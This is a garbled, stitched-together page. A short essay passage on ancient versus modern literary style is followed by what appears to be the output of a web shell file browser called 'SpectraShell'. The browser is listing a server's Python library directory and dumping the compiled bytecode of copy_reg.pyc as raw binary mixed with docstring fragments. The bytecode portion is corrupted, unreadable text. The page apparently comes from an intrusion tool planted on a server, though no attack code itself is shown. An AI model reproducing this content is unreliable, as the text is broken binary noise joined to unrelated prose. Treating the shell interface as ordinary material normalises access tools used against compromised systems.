Critics have remarked that those four worthies were truly peerless throughout the ages; yet the present falls short of the pastβ€”the ancients favored unadorned simplicity, whereas the moderns prefer refined elegance. Styles of substance and ornament rise and fall in succession, shifting with the changing mores of the times; such evolution is simply the natural order of things. The ideal lies in honoring antiquity without clashing with the present, and embracing modernity without succumbing to its flawsβ€”embodying that perfect balance of substance and refinement that defines the true gentleman. There is surely no need to abandon a carved palace in favor of a cave dwelling, or to trade a jade carriage for a primitive cart with solid wooden wheels.🌌 SpectraShell

🌌 SpectraShell

Current path: lib64/python2.7/



⬆️ Go up: /lib64

πŸ“„ Viewing: copy_reg.pyc

οΏ½
zfc@sοΏ½dZddlmZdddddgZiZddοΏ½Zd	οΏ½Zye	Wne
k
ranXd
οΏ½Zee	ee	οΏ½dοΏ½ZdZ
dοΏ½ZdοΏ½ZdοΏ½ZiZiZiZdοΏ½ZdοΏ½ZdοΏ½ZdS(sοΏ½Helper to provide extensibility for pickle/cPickle.

This is only useful to add pickle support for extension types defined in
C, not for instances of user-defined classes.
iοΏ½οΏ½οΏ½οΏ½(t	ClassTypetpickletconstructort
add_extensiontremove_extensiontclear_extension_cachecCsft|οΏ½tkr!tdοΏ½οΏ½nt|dοΏ½s?tdοΏ½οΏ½n|t|<|dk	rbt|οΏ½ndS(Ns-copy_reg is not intended for use with classest__call__s$reduction functions must be callable(ttypet
_ClassTypet	TypeErrorthasattrtdispatch_tabletNoneR(tob_typetpickle_functiontconstructor_ob((s /usr/lib64/python2.7/copy_reg.pyRs
cCs"t|dοΏ½stdοΏ½οΏ½ndS(NRsconstructors must be callable(R
R	(tobject((s /usr/lib64/python2.7/copy_reg.pyRscCst|j|jffS(N(tcomplextrealtimag(tc((s /usr/lib64/python2.7/copy_reg.pytpickle_complex'scCsY|tkrtj|οΏ½}n7|j||οΏ½}|jtjkrU|j||οΏ½n|S(N(Rt__new__t__init__(tclstbasetstatetobj((s /usr/lib64/python2.7/copy_reg.pyt_reconstructor.sii	cCs8|dkstοΏ½x;|jjD]'}t|dοΏ½r|jt@rPqqWt}|tkred}n.||jkrοΏ½td|j	οΏ½n||οΏ½}|j||f}y
|j
}WnYtk
r
t|ddοΏ½rοΏ½tdοΏ½οΏ½ny
|j
}Wqtk
r	d}qXn
X|οΏ½}|r*t||fSt|fSdS(Nit	__flags__scan't pickle %s objectst	__slots__sNa class that defines __slots__ without defining __getstate__ cannot be pickled(tAssertionErrort	__class__t__mro__R
Rt	_HEAPTYPERRR	t__name__t__getstate__tAttributeErrortgetattrt__dict__R(tselftprotoRRtargstgetstatetdict((s /usr/lib64/python2.7/copy_reg.pyt
_reduce_ex;s0	



	
cGs|j||οΏ½S(N(R(RR*((s /usr/lib64/python2.7/copy_reg.pyt
__newobj__\scCs4|jjdοΏ½}|dk	r"|Sg}t|dοΏ½s:nοΏ½xοΏ½|jD]οΏ½}d|jkrD|jd}t|tοΏ½rοΏ½|f}nxοΏ½|D]οΏ½}|d	krοΏ½qοΏ½qοΏ½|jdοΏ½r|jdοΏ½r|j	j
dοΏ½}|rοΏ½|jd||fοΏ½q|j|οΏ½qοΏ½|j|οΏ½qοΏ½WqDqDWy
||_WnnX|S(
sοΏ½Return a list of slot names for a given class.

    This needs to find slots defined by the class and its bases, so we
    can't simply return the __slots__ attribute.  We must walk down
    the Method Resolution Order and concatenate the __slots__ of each
    class found there.  (This assumes classes don't modify their
    __slots__ attribute to misrepresent their slots after the class is
    defined.)
    t
__slotnames__RR't__weakref__t__t_s_%s%sN(R'R0(
R'tgetRR
R!t
isinstancet
basestringt
startswithtendswithR#tlstriptappendR/(RtnamesRtslotstnametstripped((s /usr/lib64/python2.7/copy_reg.pyt
_slotnames_s2


cCsοΏ½t|οΏ½}d|ko#dkns4tdοΏ½n||f}tj|οΏ½|krntj|οΏ½|krndS|tkrοΏ½td|t|fοΏ½οΏ½n|tkrοΏ½td|t|fοΏ½οΏ½n|t|<|t|<dS(sRegister an extension code.iiοΏ½οΏ½οΏ½scode out of rangeNs)key %s is already registered with code %ss$code %s is already in use for key %s(tintt
ValueErrort_extension_registryR3t_inverted_registry(tmoduleR<tcodetkey((s /usr/lib64/python2.7/copy_reg.pyRοΏ½s
cCsw||f}tj|οΏ½|ks6tj|οΏ½|krOtd||fοΏ½οΏ½nt|=t|=|tkrst|=ndS(s0Unregister an extension code.  For testing only.s%key %s is not registered with code %sN(RAR3RBR@t_extension_cache(RCR<RDRE((s /usr/lib64/python2.7/copy_reg.pyRοΏ½scCstjοΏ½dS(N(RFtclear(((s /usr/lib64/python2.7/copy_reg.pyRοΏ½sNi(t__doc__ttypesRRt__all__RRRRRt	NameErrorRRR"R-R.R>RARBRFRRR(((s /usr/lib64/python2.7/copy_reg.pyt<module>s.
	
				!		<		


πŸ“